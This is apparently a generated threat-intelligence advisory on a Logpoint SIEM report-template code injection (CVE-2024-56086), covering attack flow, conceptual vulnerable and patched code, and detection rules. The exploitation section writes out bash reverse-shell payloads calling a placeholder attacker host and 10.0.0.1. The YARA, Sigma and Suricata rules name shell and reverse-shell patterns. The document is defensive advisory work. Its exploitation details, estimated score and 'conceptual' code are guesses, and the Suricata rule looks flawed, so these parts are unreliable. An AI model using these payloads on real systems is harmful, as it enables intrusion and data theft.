CVE-2024-56086

Executive Summary

CVE-2024-56086 is a critical vulnerability in Logpoint, a Security Information and Event Management (SIEM) platform, affecting versions prior to 7.5.0. An authenticated attacker can inject malicious payloads into Report Templates. When the backup process is initiated, these payloads are executed, leading to Remote Code Execution (RCE). This vulnerability allows a low-privileged authenticated user to escalate to full system compromise, potentially exfiltrating sensitive log data, pivoting to other systems, or disrupting operations. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code - Code Injection). No public exploit code or proof-of-concept is currently available, but the risk is significant due to the privileged context in which the backup process runs.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product vulnerability in Logpoint's proprietary codebase. The risk is contained within the Logpoint application itself.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the description and impact, a reasonable assessment is:

• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An authenticated user is required.
• User Interaction (UI): None (N) - No user interaction is needed beyond the attacker's actions.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full system access allows data exfiltration.
• Integrity (I): High (H) - Full system access allows data modification.
• Availability (A): High (H) - Full system access allows denial of service.

Estimated CVSS Score: 8.8 (High)

Threat Level: High. The vulnerability requires authentication but provides a direct path to RCE in a critical security infrastructure component.

Deep Dive & Mechanics

The vulnerability resides in the Report Template functionality of Logpoint. Report Templates allow users to define custom reports using a templating language. The flaw is that user-supplied input within these templates is not properly sanitized or validated before being processed by the backup mechanism.

Attack Flow:

1. Authentication: The attacker must have valid credentials to the Logpoint web interface.
2. Template Injection: The attacker creates or modifies a Report Template, injecting malicious code (e.g., operating system commands, scripting language code) into a field that is later interpreted.
3. Backup Trigger: The attacker (or a scheduled task) initiates the backup process. This process reads the Report Templates and, due to the lack of sanitization, executes the injected payload.
4. Code Execution: The payload runs in the context of the Logpoint service account, which typically has high privileges (e.g., SYSTEM on Windows, root on Linux). This allows the attacker to execute arbitrary commands, install backdoors, or exfiltrate data.

The root cause is a classic code injection vulnerability (CWE-94) where user-controlled data is passed to an interpreter (e.g., shell, scripting engine) without proper escaping or validation.

Vulnerable vs. Patched Code

Since the exact code is proprietary, we can infer the difference based on the vulnerability type.

Vulnerable Code (Conceptual):

# Logpoint internal code (simplified)
def process_report_template(template_content):
    # Directly evaluate the template content
    result = eval(template_content)  # Or os.system(), subprocess.Popen(), etc.
    return result

Patched Code (Conceptual):

# Logpoint internal code (simplified)
import re
def process_report_template(template_content):
    # Sanitize input: remove or escape dangerous characters
    sanitized_content = re.sub(r'[;&|`$(){}]', '', template_content)
    # Use a safe template engine that does not allow arbitrary code execution
    result = safe_template_engine.render(sanitized_content)
    return result

The patched version would implement strict input validation, output encoding, and use a sandboxed template engine that prevents arbitrary code execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Logpoint instance (version < 7.5.0)
• Valid user credentials (e.g., user:password)

Exploitation Steps:

1. Login: Authenticate to the Logpoint web interface.
2. Navigate to Report Templates: Find the section for creating or editing Report Templates.
3. Inject Payload: In a field that is processed during backup (e.g., a custom script field), inject a command. For example, in a field that expects a shell command:

   ; /bin/bash -c 'echo "pwned" > /tmp/pwned.txt'
   

   Or for a reverse shell:

   ; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   

4. Trigger Backup: Initiate the backup process manually or wait for a scheduled backup.
5. Receive Shell: The attacker's listener receives a reverse shell.

Example Payload (for a field expecting a script):

# In a "Pre-backup script" field
/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4444; cat <&5 | while read line; do $line 2>&5 >&5; done'

Blue Team (Detection & Response)

Detection:

• Monitor for unusual process creation by the Logpoint service account (e.g., cmd.exe, /bin/bash, powershell).
• Monitor for network connections from the Logpoint server to unknown external IPs on unusual ports.
• Audit Report Template modifications for suspicious content (e.g., shell metacharacters, IP addresses, port numbers).

Response:

1. Isolate: Immediately isolate the affected Logpoint server from the network.
2. Analyze: Review logs for the backup process and Report Template changes.
3. Contain: Disable the backup service temporarily.
4. Eradicate: Remove malicious templates and restore from a known good backup.
5. Patch: Upgrade to Logpoint 7.5.0 or later.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections from the Logpoint server to suspicious IPs on ports 4444, 8080, 1337, etc.
• Unusual DNS queries from the Logpoint server.

Host IOCs:

• Unexpected files in /tmp/, C:\Windows\Temp\, or Logpoint's data directories.
• New user accounts or modifications to existing accounts.
• Unusual processes running under the Logpoint service account (e.g., nc.exe, bash, python).
• Modified Report Templates containing shell commands, IP addresses, or base64-encoded strings.

Log IOCs:

• Logpoint audit logs showing creation or modification of Report Templates by non-admin users.
• System logs showing the Logpoint service account spawning a shell.

Detection Engineering

YARA Rule

rule CVE_2024_56086_Logpoint_RCE {
    meta:
        description = "Detects malicious payloads in Logpoint Report Templates"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-56086"
    strings:
        $shell_cmd = /[;&|`$(){}]\/bin\/(bash|sh|ksh|csh)/ nocase
        $powershell = /[;&|`$(){}]powershell/ nocase
        $cmd_exe = /[;&|`$(){}]cmd\.exe/ nocase
        $reverse_shell = /\/dev\/tcp\// nocase
        $base64 = /[A-Za-z0-9+\/]{40,}={0,2}/  // Base64 encoded payloads
    condition:
        any of them
}

Sigma Rule

title: Logpoint Report Template Code Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-56086 via process creation anomalies
author: Valters IT
date: 2024-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: 'LogpointService.exe'
        Image|endswith:
            - 'cmd.exe'
            - 'powershell.exe'
            - 'wscript.exe'
            - 'cscript.exe'
            - 'bash.exe'
    condition: selection
falsepositives:
    - Legitimate administrative scripts
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56086 Logpoint RCE - Outbound Reverse Shell"; flow:to_server,established; content:"/dev/tcp/"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade Logpoint to version 7.5.0 or later immediately.
2. Restrict Access: Limit Report Template creation/modification to trusted administrators only.
3. Audit: Review all existing Report Templates for suspicious content.

Long-Term Mitigations:

• Implement strict input validation and output encoding for all user-supplied data.
• Use a sandboxed template engine that does not allow arbitrary code execution.
• Run the Logpoint service with the least privileges necessary.
• Enable comprehensive logging and monitoring of the backup process.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division.